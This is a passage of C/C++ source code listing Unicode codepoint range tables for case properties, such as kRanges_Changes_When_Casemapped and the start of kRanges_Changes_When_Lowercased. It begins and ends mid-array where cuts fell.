{0x10A0, 0x10C5}, {0x10C7, 0x10C7}, {0x10CD, 0x10CD}, {0x13F8, 0x13FD}, {0x1C80, 0x1C89}, {0x1C90, 0x1CBA}, {0x1CBD, 0x1CBF}, {0x1E00, 0x1E00}, {0x1E02, 0x1E02}, {0x1E04, 0x1E04}, {0x1E06, 0x1E06}, {0x1E08, 0x1E08}, {0x1E0A, 0x1E0A}, {0x1E0C, 0x1E0C}, {0x1E0E, 0x1E0E}, {0x1E10, 0x1E10}, {0x1E12, 0x1E12}, {0x1E14, 0x1E14}, {0x1E16, 0x1E16}, {0x1E18, 0x1E18}, {0x1E1A, 0x1E1A}, {0x1E1C, 0x1E1C}, {0x1E1E, 0x1E1E}, {0x1E20, 0x1E20}, {0x1E22, 0x1E22}, {0x1E24, 0x1E24}, {0x1E26, 0x1E26}, {0x1E28, 0x1E28}, {0x1E2A, 0x1E2A}, {0x1E2C, 0x1E2C}, {0x1E2E, 0x1E2E}, {0x1E30, 0x1E30}, {0x1E32, 0x1E32}, {0x1E34, 0x1E34}, {0x1E36, 0x1E36}, {0x1E38, 0x1E38}, {0x1E3A, 0x1E3A}, {0x1E3C, 0x1E3C}, {0x1E3E, 0x1E3E}, {0x1E40, 0x1E40}, {0x1E42, 0x1E42}, {0x1E44, 0x1E44}, {0x1E46, 0x1E46}, {0x1E48, 0x1E48}, {0x1E4A, 0x1E4A}, {0x1E4C, 0x1E4C}, {0x1E4E, 0x1E4E}, {0x1E50, 0x1E50}, {0x1E52, 0x1E52}, {0x1E54, 0x1E54}, {0x1E56, 0x1E56}, {0x1E58, 0x1E58}, {0x1E5A, 0x1E5A}, {0x1E5C, 0x1E5C}, {0x1E5E, 0x1E5E}, {0x1E60, 0x1E60}, {0x1E62, 0x1E62}, {0x1E64, 0x1E64}, {0x1E66, 0x1E66}, {0x1E68, 0x1E68}, {0x1E6A, 0x1E6A}, {0x1E6C, 0x1E6C}, {0x1E6E, 0x1E6E}, {0x1E70, 0x1E70}, {0x1E72, 0x1E72}, {0x1E74, 0x1E74}, {0x1E76, 0x1E76}, {0x1E78, 0x1E78}, {0x1E7A, 0x1E7A}, {0x1E7C, 0x1E7C}, {0x1E7E, 0x1E7E}, {0x1E80, 0x1E80}, {0x1E82, 0x1E82}, {0x1E84, 0x1E84}, {0x1E86, 0x1E86}, {0x1E88, 0x1E88}, {0x1E8A, 0x1E8A}, {0x1E8C, 0x1E8C}, {0x1E8E, 0x1E8E}, {0x1E90, 0x1E90}, {0x1E92, 0x1E92}, {0x1E94, 0x1E94}, {0x1E9A, 0x1E9B}, {0x1E9E, 0x1E9E}, {0x1EA0, 0x1EA0}, {0x1EA2, 0x1EA2}, {0x1EA4, 0x1EA4}, {0x1EA6, 0x1EA6}, {0x1EA8, 0x1EA8}, {0x1EAA, 0x1EAA}, {0x1EAC, 0x1EAC}, {0x1EAE, 0x1EAE}, {0x1EB0, 0x1EB0}, {0x1EB2, 0x1EB2}, {0x1EB4, 0x1EB4}, {0x1EB6, 0x1EB6}, {0x1EB8, 0x1EB8}, {0x1EBA, 0x1EBA}, {0x1EBC, 0x1EBC}, {0x1EBE, 0x1EBE}, {0x1EC0, 0x1EC0}, {0x1EC2, 0x1EC2}, {0x1EC4, 0x1EC4}, {0x1EC6, 0x1EC6}, {0x1EC8, 0x1EC8}, {0x1ECA, 0x1ECA}, {0x1ECC, 0x1ECC}, {0x1ECE, 0x1ECE}, {0x1ED0, 0x1ED0}, {0x1ED2, 0x1ED2}, {0x1ED4, 0x1ED4}, {0x1ED6, 0x1ED6}, {0x1ED8, 0x1ED8}, {0x1EDA, 0x1EDA}, {0x1EDC, 0x1EDC}, {0x1EDE, 0x1EDE}, {0x1EE0, 0x1EE0}, {0x1EE2, 0x1EE2}, {0x1EE4, 0x1EE4}, {0x1EE6, 0x1EE6}, {0x1EE8, 0x1EE8}, {0x1EEA, 0x1EEA}, {0x1EEC, 0x1EEC}, {0x1EEE, 0x1EEE}, {0x1EF0, 0x1EF0}, {0x1EF2, 0x1EF2}, {0x1EF4, 0x1EF4}, {0x1EF6, 0x1EF6}, {0x1EF8, 0x1EF8}, {0x1EFA, 0x1EFA}, {0x1EFC, 0x1EFC}, {0x1EFE, 0x1EFE}, {0x1F08, 0x1F0F}, {0x1F18, 0x1F1D}, {0x1F28, 0x1F2F}, {0x1F38, 0x1F3F}, {0x1F48, 0x1F4D}, {0x1F59, 0x1F59}, {0x1F5B, 0x1F5B}, {0x1F5D, 0x1F5D}, {0x1F5F, 0x1F5F}, {0x1F68, 0x1F6F}, {0x1F80, 0x1FAF}, {0x1FB2, 0x1FB4}, {0x1FB7, 0x1FBC}, {0x1FC2, 0x1FC4}, {0x1FC7, 0x1FCC}, {0x1FD8, 0x1FDB}, {0x1FE8, 0x1FEC}, {0x1FF2, 0x1FF4}, {0x1FF7, 0x1FFC}, {0x2126, 0x2126}, {0x212A, 0x212B}, {0x2132, 0x2132}, {0x2160, 0x216F}, {0x2183, 0x2183}, {0x24B6, 0x24CF}, {0x2C00, 0x2C2F}, {0x2C60, 0x2C60}, {0x2C62, 0x2C64}, {0x2C67, 0x2C67}, {0x2C69, 0x2C69}, {0x2C6B, 0x2C6B}, {0x2C6D, 0x2C70}, {0x2C72, 0x2C72}, {0x2C75, 0x2C75}, {0x2C7E, 0x2C80}, {0x2C82, 0x2C82}, {0x2C84, 0x2C84}, {0x2C86, 0x2C86}, {0x2C88, 0x2C88}, {0x2C8A, 0x2C8A}, {0x2C8C, 0x2C8C}, {0x2C8E, 0x2C8E}, {0x2C90, 0x2C90}, {0x2C92, 0x2C92}, {0x2C94, 0x2C94}, {0x2C96, 0x2C96}, {0x2C98, 0x2C98}, {0x2C9A, 0x2C9A}, {0x2C9C, 0x2C9C}, {0x2C9E, 0x2C9E}, {0x2CA0, 0x2CA0}, {0x2CA2, 0x2CA2}, {0x2CA4, 0x2CA4}, {0x2CA6, 0x2CA6}, {0x2CA8, 0x2CA8}, {0x2CAA, 0x2CAA}, {0x2CAC, 0x2CAC}, {0x2CAE, 0x2CAE}, {0x2CB0, 0x2CB0}, {0x2CB2, 0x2CB2}, {0x2CB4, 0x2CB4}, {0x2CB6, 0x2CB6}, {0x2CB8, 0x2CB8}, {0x2CBA, 0x2CBA}, {0x2CBC, 0x2CBC}, {0x2CBE, 0x2CBE}, {0x2CC0, 0x2CC0}, {0x2CC2, 0x2CC2}, {0x2CC4, 0x2CC4}, {0x2CC6, 0x2CC6}, {0x2CC8, 0x2CC8}, {0x2CCA, 0x2CCA}, {0x2CCC, 0x2CCC}, {0x2CCE, 0x2CCE}, {0x2CD0, 0x2CD0}, {0x2CD2, 0x2CD2}, {0x2CD4, 0x2CD4}, {0x2CD6, 0x2CD6}, {0x2CD8, 0x2CD8}, {0x2CDA, 0x2CDA}, {0x2CDC, 0x2CDC}, {0x2CDE, 0x2CDE}, {0x2CE0, 0x2CE0}, {0x2CE2, 0x2CE2}, {0x2CEB, 0x2CEB}, {0x2CED, 0x2CED}, {0x2CF2, 0x2CF2}, {0xA640, 0xA640}, {0xA642, 0xA642}, {0xA644, 0xA644}, {0xA646, 0xA646}, {0xA648, 0xA648}, {0xA64A, 0xA64A}, {0xA64C, 0xA64C}, {0xA64E, 0xA64E}, {0xA650, 0xA650}, {0xA652, 0xA652}, {0xA654, 0xA654}, {0xA656, 0xA656}, {0xA658, 0xA658}, {0xA65A, 0xA65A}, {0xA65C, 0xA65C}, {0xA65E, 0xA65E}, {0xA660, 0xA660}, {0xA662, 0xA662}, {0xA664, 0xA664}, {0xA666, 0xA666}, {0xA668, 0xA668}, {0xA66A, 0xA66A}, {0xA66C, 0xA66C}, {0xA680, 0xA680}, {0xA682, 0xA682}, {0xA684, 0xA684}, {0xA686, 0xA686}, {0xA688, 0xA688}, {0xA68A, 0xA68A}, {0xA68C, 0xA68C}, {0xA68E, 0xA68E}, {0xA690, 0xA690}, {0xA692, 0xA692}, {0xA694, 0xA694}, {0xA696, 0xA696}, {0xA698, 0xA698}, {0xA69A, 0xA69A}, {0xA722, 0xA722}, {0xA724, 0xA724}, {0xA726, 0xA726}, {0xA728, 0xA728}, {0xA72A, 0xA72A}, {0xA72C, 0xA72C}, {0xA72E, 0xA72E}, {0xA732, 0xA732}, {0xA734, 0xA734}, {0xA736, 0xA736}, {0xA738, 0xA738}, {0xA73A, 0xA73A}, {0xA73C, 0xA73C}, {0xA73E, 0xA73E}, {0xA740, 0xA740}, {0xA742, 0xA742}, {0xA744, 0xA744}, {0xA746, 0xA746}, {0xA748, 0xA748}, {0xA74A, 0xA74A}, {0xA74C, 0xA74C}, {0xA74E, 0xA74E}, {0xA750, 0xA750}, {0xA752, 0xA752}, {0xA754, 0xA754}, {0xA756, 0xA756}, {0xA758, 0xA758}, {0xA75A, 0xA75A}, {0xA75C, 0xA75C}, {0xA75E, 0xA75E}, {0xA760, 0xA760}, {0xA762, 0xA762}, {0xA764, 0xA764}, {0xA766, 0xA766}, {0xA768, 0xA768}, {0xA76A, 0xA76A}, {0xA76C, 0xA76C}, {0xA76E, 0xA76E}, {0xA779, 0xA779}, {0xA77B, 0xA77B}, {0xA77D, 0xA77E}, {0xA780, 0xA780}, {0xA782, 0xA782}, {0xA784, 0xA784}, {0xA786, 0xA786}, {0xA78B, 0xA78B}, {0xA78D, 0xA78D}, {0xA790, 0xA790}, {0xA792, 0xA792}, {0xA796, 0xA796}, {0xA798, 0xA798}, {0xA79A, 0xA79A}, {0xA79C, 0xA79C}, {0xA79E, 0xA79E}, {0xA7A0, 0xA7A0}, {0xA7A2, 0xA7A2}, {0xA7A4, 0xA7A4}, {0xA7A6, 0xA7A6}, {0xA7A8, 0xA7A8}, {0xA7AA, 0xA7AE}, {0xA7B0, 0xA7B4}, {0xA7B6, 0xA7B6}, {0xA7B8, 0xA7B8}, {0xA7BA, 0xA7BA}, {0xA7BC, 0xA7BC}, {0xA7BE, 0xA7BE}, {0xA7C0, 0xA7C0}, {0xA7C2, 0xA7C2}, {0xA7C4, 0xA7C7}, {0xA7C9, 0xA7C9}, {0xA7CB, 0xA7CC}, {0xA7CE, 0xA7CE}, {0xA7D0, 0xA7D0}, {0xA7D2, 0xA7D2}, {0xA7D4, 0xA7D4}, {0xA7D6, 0xA7D6}, {0xA7D8, 0xA7D8}, {0xA7DA, 0xA7DA}, {0xA7DC, 0xA7DC}, {0xA7F5, 0xA7F5}, {0xAB70, 0xABBF}, {0xFB00, 0xFB06}, {0xFB13, 0xFB17}, {0xFF21, 0xFF3A}, {0x10400, 0x10427}, {0x104B0, 0x104D3}, {0x10570, 0x1057A}, {0x1057C, 0x1058A}, {0x1058C, 0x10592}, {0x10594, 0x10595}, {0x10C80, 0x10CB2}, {0x10D50, 0x10D65}, {0x118A0, 0x118BF}, {0x16E40, 0x16E5F}, {0x16EA0, 0x16EB8}, {0x1E900, 0x1E921}, }; static const UnicodeRange kRanges_Changes_When_Casemapped[] = { {0x41, 0x5A}, {0x61, 0x7A}, {0xB5, 0xB5}, {0xC0, 0xD6}, {0xD8, 0xF6}, {0xF8, 0x137}, {0x139, 0x18C}, {0x18E, 0x1A9}, {0x1AC, 0x1B9}, {0x1BC, 0x1BD}, {0x1BF, 0x1BF}, {0x1C4, 0x220}, {0x222, 0x233}, {0x23A, 0x254}, {0x256, 0x257}, {0x259, 0x259}, {0x25B, 0x25C}, {0x260, 0x261}, {0x263, 0x266}, {0x268, 0x26C}, {0x26F, 0x26F}, {0x271, 0x272}, {0x275, 0x275}, {0x27D, 0x27D}, {0x280, 0x280}, {0x282, 0x283}, {0x287, 0x28C}, {0x292, 0x292}, {0x29D, 0x29E}, {0x345, 0x345}, {0x370, 0x373}, {0x376, 0x377}, {0x37B, 0x37D}, {0x37F, 0x37F}, {0x386, 0x386}, {0x388, 0x38A}, {0x38C, 0x38C}, {0x38E, 0x3A1}, {0x3A3, 0x3D1}, {0x3D5, 0x3F5}, {0x3F7, 0x3FB}, {0x3FD, 0x481}, {0x48A, 0x52F}, {0x531, 0x556}, {0x561, 0x587}, {0x10A0, 0x10C5}, {0x10C7, 0x10C7}, {0x10CD, 0x10CD}, {0x10D0, 0x10FA}, {0x10FD, 0x10FF}, {0x13A0, 0x13F5}, {0x13F8, 0x13FD}, {0x1C80, 0x1C8A}, {0x1C90, 0x1CBA}, {0x1CBD, 0x1CBF}, {0x1D79, 0x1D79}, {0x1D7D, 0x1D7D}, {0x1D8E, 0x1D8E}, {0x1E00, 0x1E9B}, {0x1E9E, 0x1E9E}, {0x1EA0, 0x1F15}, {0x1F18, 0x1F1D}, {0x1F20, 0x1F45}, {0x1F48, 0x1F4D}, {0x1F50, 0x1F57}, {0x1F59, 0x1F59}, {0x1F5B, 0x1F5B}, {0x1F5D, 0x1F5D}, {0x1F5F, 0x1F7D}, {0x1F80, 0x1FB4}, {0x1FB6, 0x1FBC}, {0x1FBE, 0x1FBE}, {0x1FC2, 0x1FC4}, {0x1FC6, 0x1FCC}, {0x1FD0, 0x1FD3}, {0x1FD6, 0x1FDB}, {0x1FE0, 0x1FEC}, {0x1FF2, 0x1FF4}, {0x1FF6, 0x1FFC}, {0x2126, 0x2126}, {0x212A, 0x212B}, {0x2132, 0x2132}, {0x214E, 0x214E}, {0x2160, 0x217F}, {0x2183, 0x2184}, {0x24B6, 0x24E9}, {0x2C00, 0x2C70}, {0x2C72, 0x2C73}, {0x2C75, 0x2C76}, {0x2C7E, 0x2CE3}, {0x2CEB, 0x2CEE}, {0x2CF2, 0x2CF3}, {0x2D00, 0x2D25}, {0x2D27, 0x2D27}, {0x2D2D, 0x2D2D}, {0xA640, 0xA66D}, {0xA680, 0xA69B}, {0xA722, 0xA72F}, {0xA732, 0xA76F}, {0xA779, 0xA787}, {0xA78B, 0xA78D}, {0xA790, 0xA794}, {0xA796, 0xA7AE}, {0xA7B0, 0xA7DC}, {0xA7F5, 0xA7F6}, {0xAB53, 0xAB53}, {0xAB70, 0xABBF}, {0xFB00, 0xFB06}, {0xFB13, 0xFB17}, {0xFF21, 0xFF3A}, {0xFF41, 0xFF5A}, {0x10400, 0x1044F}, {0x104B0, 0x104D3}, {0x104D8, 0x104FB}, {0x10570, 0x1057A}, {0x1057C, 0x1058A}, {0x1058C, 0x10592}, {0x10594, 0x10595}, {0x10597, 0x105A1}, {0x105A3, 0x105B1}, {0x105B3, 0x105B9}, {0x105BB, 0x105BC}, {0x10C80, 0x10CB2}, {0x10CC0, 0x10CF2}, {0x10D50, 0x10D65}, {0x10D70, 0x10D85}, {0x118A0, 0x118DF}, {0x16E40, 0x16E7F}, {0x16EA0, 0x16EB8}, {0x16EBB, 0x16ED3}, {0x1E900, 0x1E943}, }; static const UnicodeRange kRanges_Changes_When_Lowercased[] = { {0x41, 0x5A}, {0xC0, 0xD6}, {0xD8, 0xDE}, {0x100, 0x100}, {0x102, 0x102}, {0x104, 0x104}, {0x106, 0x106}, {0x108, 0x108}, {0x10A, 0x10A}, {0x10C, 0x10C}, {0x10E, 0x10E}, {0x110, 0x110}, {0x112, 0x112}, {0x114, 0x114}, {0x116, 0x116}, {0x118, 0x118}, {0x11A, 0x11A}, {0x11C, 0x11C}, {0x11E, 0x11E}, {0x120, 0x120}, {0x122, 0x122}, {0x124, 0x124}, {0x126, 0x126}, {0x128, 0x128}, {0x12A, 0x12A}, {0x12C, 0x12C}, {0x12E, 0x12E}, {0x130, 0x130}, {0x132, 0x132}, {0x134, 0x134}, {0x136, 0x136}, {0x139, 0x139}, {0x13B, 0x13B}, {0x13D, 0x13D}, {0x13F, 0x13F}, {0x141, 0x141}, {0x143, 0x143}, {0x145, 0x145}, {0x147, 0x147}, {0x14A, 0x14A}, {0x14C, 0x14C}, {0x14E, 0x14E}, {0x150, 0x150}, {0x152, 0x152}, {0x154, 0x154}, {0x156, 0x156}, {0x158, 0x158}, {0x15A, 0x15A}, {0x15C, 0x15C}, {0x15E, 0x15E}, {0x160, 0x160}, {0x162, 0x162}, {0x164, 0x164}, {0x166, 0x166}, {0x168, 0x168}, {0x16A, 0x16A}, {0x16C, 0x16C}, {0x16E, 0x16E}, {0x170, 0x170}, {0x172, 0x172}, {0x174, 0x174}, {0x176, 0x176}, {0x178, 0x179}, {0x17B, 0x17B}, {0x17D, 0x17D}, {0x181, 0x182}, {0x184, 0x184}, {0x186, 0x187}, {0x189, 0x18B}, {0x18E, 0x191}, {0x193, 0x194}, {0x196, 0x198}, {0x19C, 0x19D}, {0x19F, 0x1A0}, {0x1A2, 0x1A2}, {0x1A4, 0x1A4}, {0x1A6, 0x1A7}, {0x1A9, 0x1A9}, {0x1AC, 0x1AC}, {0x1AE, 0x1AF}, {0x1B1, 0x1B3}, {0x1B5, 0x1B5}, {0x1B7, 0x1B8}, {0x1BC, 0x1BC}, {0x1C4, 0x1C5}, {0x1C7, 0x1C8}, {0x1CA, 0x1CB}, {0x1CD, 0x1CD}, {0x1CF, 0x1CF}, {0x1D1, 0x1D1}, {0x1D3, 0x1D3}, {0x1D5, 0x1D5}, {0x1D7, 0x1D7}, {0x1D9, 0x1D9}, {0x1DB, 0x1DB}, {0x1DE, 0x1DE}, {0x1E0, 0x1E0}, {0x1E2, 0x1E2}, {0x1E4, 0x1E4}, {0x1E6, 0x1E6}, {0x1E8, 0x1E8}, {0x1EA, 0x1EA}, {0x1EC, 0x1EC}, {0x1EE, 0x1EE}, {0x1F1, 0x1F2}, {0x1F4, 0x1F4}, {0x1F6, 0x1F8}, {0x1FA, 0x1FA}, {0x1FC, 0x1FC}, {0x1FE, 0x1FE}, {0x200, 0x200}, {0x202, 0x202}, {0x204, 0x204}, {0x206, 0x206}, {0x208, 0x208}, {0x20A, 0x20A}, {0x20C, 0x20C}, {0x20E, 0x20E}, {0x210, 0x210}, {0x212, 0x212}, {0x214, 0x214}, {0x216, 0x216}, {0x218, 0x218}, {0x21A, 0x21A}, {0x21C, 0x21C}, {0x21E, 0x21E}, {0x220, 0x220}, {0x222, 0x222}, {0x224, 0x224}, {0x226, 0x226}, {0x228, 0x228}, {0x22A, 0x22A}, {0x22C, 0x22C}, {0x22E, 0x22E}, {0x230, 0x230}, {0x232, 0x232}, {0x23A, 0x23B}, {0x23D, 0x23E}, {0x241, 0x241}, {0x243, 0x246}, {0x248, 0x248}, {0x24A, 0x24A}, {0x24C, 0x24C}, {0x24E, 0x24E}, {0x370, 0x370}, {0x372, 0x372}, {0x376, 0x376}, {0x37F, 0x37F}, {0x386, 0x386}, {0x388, 0x38A}, {0x38C, 0x38C}, {0x38E, 0x38F}, {0x391, 0x3A1}, {0x3A3, 0x3AB}, {0x3CF, 0x3CF}, {0x3D8, 0x3D8}, {0x3DA, 0x3DA}, {0x3DC, 0x3DC}, {0x3DE, 0x3DE}, {0x3E0, 0x3E0}, {0x3E2, 0x3E2}, {0x3E4, 0x3E4}, {0x3E6, 0x3E6}, {0x3E8, 0x3E8}, {0x3EA, 0x3EA}, {0x3EC, 0x3EC}, {0x3EE, 0x3EE}, {0x3F4, 0x3F4}, {0x3F7, 0x3F7}, {0x3F9, 0x3FA}, {0x3FD, 0x42F}, {0x460, 0x460}, {0x462, 0x462}, {0x464, 0x464}, {0x466, 0x466}, {0x468, 0x468}, {0x46A, 0x46A}, {0x46C, 0x46C}, {0x46E, 0x46E}, {0x470, 0x470}, {0x472, 0x472}, {0x474, 0x474}, {0x476, 0x476}, {0x478, 0x478}, {0x47A, 0x47A}, {0x47C, 0x47C}, {0x47E, 0x47E}, {0x480, 0x480}, {0x48A, 0x48A}, {0x48C, 0x48C}, {0x48E, 0x48E}, {0x490, 0x490}, {0x492, 0x492}, {0x494, 0x494}, {0x496, 0x496}, {0x498, 0x498}, {0x49A, 0x49A}, {0x49C, 0x49C}, {0x49E, 0x49E}, {0x4A0, 0x4A0}, {0x4A2, 0x4A2}, {0x4A4, 0x4A4}, {0x4A6, 0x4A6}, {0x4A8, 0x4A8}, {0x4AA, 0x4AA}, {0x4AC, 0x4AC}, {0x4AE, 0x4AE}, {0x4B0, 0x4B0}, {0x4B2, 0x4B2}, {0x4B4, 0x4B4}, {0x4B6, 0x4B6}, {0x4B8, 0x4B8}, {0x4BA, 0x4BA}, {0x4BC, 0x4BC}, {0x4BE, 0x4BE}, {0x4C0, 0x4C1}, {0x4C3, 0x4C3}, {0x4C5, 0x4C5}, {0x4C7, 0x4C7}, {0x4C9, 0x4C9}, {0x4CB, 0x4CB}, {0x4CD, 0x4CD}, {0x4D0, 0x4D0}, {0x4D2, 0x4D2}, {0x4D4, 0x4D4}, {0x4D6, 0x4D6}, {0x4D8, 0x4D8}, {0x4DA, 0x4DA}, {0x4DC, 0x4DC}, {0x4DE, 0x4DE}, {0x4E0, 0x4E0}, {0x4E2, 0x4E2}, {0x4E4, 0x4E4}, {0x4E6, 0x4E6}, {0x4E8, 0x4E8}, {0x4EA, 0x4EA}, {0x4EC, 0x4EC}, {0x4EE, 0x4EE}, {0x4F0, 0x4F0}, {0x4F2, 0x4F2}, {0x4F4, 0x4F4}, {0x4F6, 0x4F6}, {0x4F8, 0x4F8}, {0x4FA, 0x4FA}, {0x4FC, 0x4FC}, {0x4FE, 0x4FE}, {0x500, 0x500}, {0x502, 0x502}, {0x504, 0x504}, {0x506, 0x506}, {0x508, 0x508}, {0x50A, 0x50A}, {0x50C, 0x50C}, {0x50E, 0x50E}, {0x510, 0x510}, {0x512, 0x512}, {0x514, 0x514}, {0x516, 0x516}, {0x518, 0x518}, {0x51A, 0x51A}, {0x51C, 0x51C}, {0x51E, 0x51E}, {0x520, 0x520}, {0x522, 0x522}, {0x524, 0x524}, {0x526, 0x526}, {0x528, 0x528}, {0x52A, 0x52A}, {0x52C, 0x52C}, {0x52E, 0x52E}, {0x531, 0x556}, {0x10A0, 0x10C5}, {0x10C7, 0x10C7}, {0x10CD, 0x10CD}, {0x13A0, 0x13F5}, {0x1C89, 0x1C89}, {0x1C90, 0x1CBA}, {0x1CBD, 0x1CBF}, {0x1E00, 0x1E00}, {0x1E02, 0x1E02}, {0x1E04, 0x1E04}, {0x1E06, 0x1E06}, {0x1E08, 0x1E08}, {0x1E0A, 0x1E0A}, {0x1E0C, 0x1E0C}, {0x1E0E, 0x1E0E}, {0x1E10, 0x1E10}, {0x1E12, 0x1E12}, {0x1E14, 0x1E14}, {0x1E16, 0x1E16}, {0x1E18, 0x1E18}, {0x1E1A, 0x1E1A}, {0x1E1C, 0x1E1C}, {0x1E1E, 0x1E1E}, {0x1E20, 0x1E20}, {0x1E22, 0x1E22}, {0x1E24, 0x1E24}, {0x1E26, 0x1E26}, {0x1E28, 0x1E28}, {0x1E2A, 0x1E2A}, {0x1E2C, 0x1E2C}, {0x1E2E, 0x1E2E}, {0x1E30, 0x1E30}, {0x1E32, 0x1E32}, {0x1E34, 0x1E34}, {0x1E36, 0x1E36}, {0x1E38, 0x1E38}, {0x1E3A, 0x1E3A}, {0x1E3C, 0x1E3C}, {0x1E3E, 0x1E3E}, {0x1E40, 0x1E40}, {0x1E42, 0x1E42}, {0x1E44, 0x1E44}, {0x1E46, 0x1E46}, {0x1E48, 0x1E48}, {0x1E4A, 0x1E4A}, {0x1E4C, 0x1E4C}, {0x1E4E, 0x1E4E}, {0x1E50, 0x1E50}, {0x1E52, 0x1E52}, {0x1E54, 0x1E54}, {0x1E56, 0x1E56}, {0x1E58, 0x1E58}, {0x1E5A, 0x1E5A}, {0x1E5C, 0x1E5C}, {0x1E5E, 0x1E5E}, {0x1E60, 0x1E60}, {0x1E62, 0x1E62}, {0x1E64, 0x1E64}, {0x1E66, 0x1E66}, {0x1E68, 0x1E68}, {0x1E6A, 0x1E6A}, {0x1E6C, 0x1E6C}, {0x1E6E, 0x1E6E}, {0x1E70, 0x1E70}, {0x1E72, 0x1E72}, {0x1E74, 0x1E74}, {0x1E76, 0x1E76}, {0x1E78, 0x1E78}, {0x1E7A, 0x1E7A}, {0x1E7C, 0x1E7C}, {0x1E7E, 0x1E7E}, {0x1E80, 0x1E80}, {0x1E82, 0x1E82}, {0x1E84, 0x1E84}, {0x1E86, 0x1E86}, {0x1E88, 0x1E88}, {0x1E8A, 0x1E8A}, {0x1E8C, 0x1E8C}, {0x1E8E, 0x1E8E}, {0x1E90, 0x1E90}, {0x1E92, 0x1E92}, {0x1E94, 0x1E94}, {0x1E9E, 0x1E9E}, {0x1EA0, 0x1EA0}, {0x1EA2, 0x1EA2}, {0x1EA4, 0x1EA4}, {0x1EA6, 0x1EA6}, {0x1EA8, 0x1EA8}, {0x1EAA, 0x1EAA}, {0x1EAC, 0x1EAC}, {0x1EAE, 0x1EAE}, {0x1EB0, 0x1EB0}, {0x1EB2, 0x1EB2}, {0x1EB4, 0x1EB4}, {0x1EB6, 0x1EB6}, {0x1EB8, 0x1EB8}, {0x1EBA, 0x1EBA}, {0x1EBC, 0x1EBC}, {0x1EBE, 0x1EBE}, {0x1EC0, 0x1EC0}, {0x1EC2, 0x1EC2}, {0x1EC4, 0x1EC4}, {0x1EC6, 0x1EC6}, {0x1EC8, 0x1EC8}, {0x1ECA, 0x1ECA}, {0x1ECC, 0x1ECC}, {0x1ECE, 0x1ECE}, {0x1ED0, 0x1ED0}, {0x1ED2, 0x1ED2}, {0x1ED4, 0x1ED4}, {0x1ED6, 0x1ED6}, {0x1ED8, 0x1ED8}, {0x1EDA, 0x1EDA}, {0x1EDC, 0x1EDC}, {0x1EDE, 0x1EDE}, {0x1EE0, 0x1EE0}, {0x1EE2, 0x1EE2}, {0x1EE4, 0x1EE4}, {0x1EE6, 0x1EE6}, {0x1EE8, 0x1EE8}, {0x1EEA, 0x1EEA}, {0x1EEC, 0x1EEC}, {0x1EEE, 0x1EEE}, {0x1EF0, 0x1EF0}, {0x1EF2, 0x1EF2}, {0x1EF4, 0x1EF4}, {0x1EF6, 0x1EF6}, {0x1EF8, 0x1EF8}, {0x1EFA, 0x1EFA}, {0x1EFC, 0x1EFC}, {0x1EFE, 0x1EFE}, {0x1F08, 0x1F0F}, {0x1F18, 0x1F1D}, {0x1F28, 0x1F2F}, {0x1F38, 0x1F3F}, {0x1F48, 0x1F4D}, {0x1F59, 0x1F59}, {0x1F5B, 0x1F5B}, {0x1F5D, 0x1F5D}, {0x1F5F, 0x1F5F}, {0x1F68, 0x1F6F}, {0x1F88, 0x1F8F}, {0x1F98, 0x1F9F}, {0x1FA8, 0x1FAF}, {0x1FB8, 0x1FBC}, {0x1FC8, 0x1FCC}, {0x1FD8, 0x1FDB}, {0x1FE8, 0x1FEC}, {0x1FF8, 0x1FFC}, {0x2126, 0x2126}, {0x212A, 0x212B}, {0x2132, 0x2132}, {0x2160, 0x216F}, {0x2183, 0x2183}, {0x24B6, 0x24CF}, {0x2C00, 0x2C2F}, {0x2C60, 0x2C60}, {0x2C62, 0x2C64}, {0x2C67, 0x2C67}, {0x2C69, 0x2C69}, {0x2C6B, 0x2C6B}, {0x2C6D, 0x2C70}, {0x2C72, 0x2C72}, {0x2C75, 0x2C75}, {0x2C7E, 0x2C80}, {0x2C82, 0x2C82}, {0x2C84, 0x2C84}, {0x2C86, 0x2C86}, {0x2C88, 0x2C88}, {0x2C8A, 0x2C8A}, {0x2C8C, 0x2C8C}, {0x2C8E, 0x2C8E}, {0x2C90, 0x2C90}, {0x2C92, 0x2C92}, {0x2C94, 0x2C94}, {0x2C96, 0x2C96}, {0x2C98, 0x2C98}, {0x2C9A, 0x2C9A}, {0x2C9C, 0x2C9C}, {0x2C9E, 0x2C9E}, {0x2CA0, 0x2CA0}, {0x2CA2, 0x2CA2}, {0x2CA4, 0x2CA4}, {0x2CA6, 0x2CA6}, {0x2CA8, 0x2CA8}, {0x2CAA, 0x2CAA}, {0x2CAC, 0x2CAC}, {0x2CAE, 0x2CAE}, {0x2CB0, 0x2CB0}, {0x2CB2, 0x2CB2}, {0x2CB4, 0x2CB4}, {0x2CB6, 0x2CB6}, {0x2CB8, 0x2CB8}, {0x2CBA, 0x2CBA}, {0x2CBC, 0x2CBC}, {0x2CBE, 0x2CBE}, {0x2CC0, 0x2CC0}, {0x2CC2, 0x2CC2}, {0x2CC4, 0x2CC4}, {0x2CC6, 0x2CC6}, {0x2CC8, 0x2CC8}, {0x2CCA, 0x2CCA}, {0x2CCC, 0x2CCC}, {0x2CCE, 0x2CCE}, {0x2CD0, 0x2CD0}, {0x2CD2, 0x2CD2}, {0x2CD4, 0x2CD4}, {0x2CD6, 0x2CD6}, {0x2CD8, 0x2CD8}, {0x2CDA, 0x2CDA}, {0x2CDC, 0x2CDC}, {0x2CDE, 0x2CDE}, {0x2CE0, 0x2CE0}, {0x2CE2, 0x2CE2}, {0x2CEB, 0x2CEB}, {0x2CED, 0x2CED}, {0x2CF2, 0x2CF2}, {0xA640, 0xA640}, {0xA642, 0xA642}, {0xA644, 0xA644}, {0xA646, 0xA646}, {0xA648, 0xA648}, {0xA64A, 0xA64A}, {0xA64C, 0xA64C}, {0xA64E, 0xA64E}, {0xA650, 0xA650}, {0xA652, 0xA652}, {0xA654, 0xA654}, {0xA656, 0xA656}, {0xA658, 0xA658}, {0xA65A, 0xA65A}, {0xA65C, 0xA65C}, {0xA65E, 0xA65E}, {0xA660, 0xA660}, {0xA662, 0xA662}, {0xA664, 0xA664}, {0xA666, 0xA666}, {0xA668, 0xA668}, {0xA66A, 0xA66A}, {0xA66C, 0xA66C}, {0xA680, 0xA680}, {0xA682, 0xA682}, {0xA684, 0xA684}, {0xA686, 0xA686}, {0xA688, 0xA688}, {0xA68A, 0xA68A}, {0xA68C, 0xA68C}, {0xA68E, 0xA68E}, {0xA690, 0xA690}, {0xA692, 0xA692}, {0xA694, 0xA694}, {0xA696, 0xA696}, {0xA698, 0xA698}, {0xA69A, 0xA69A}, {0xA722, 0xA722}, {0xA724, 0xA724}, 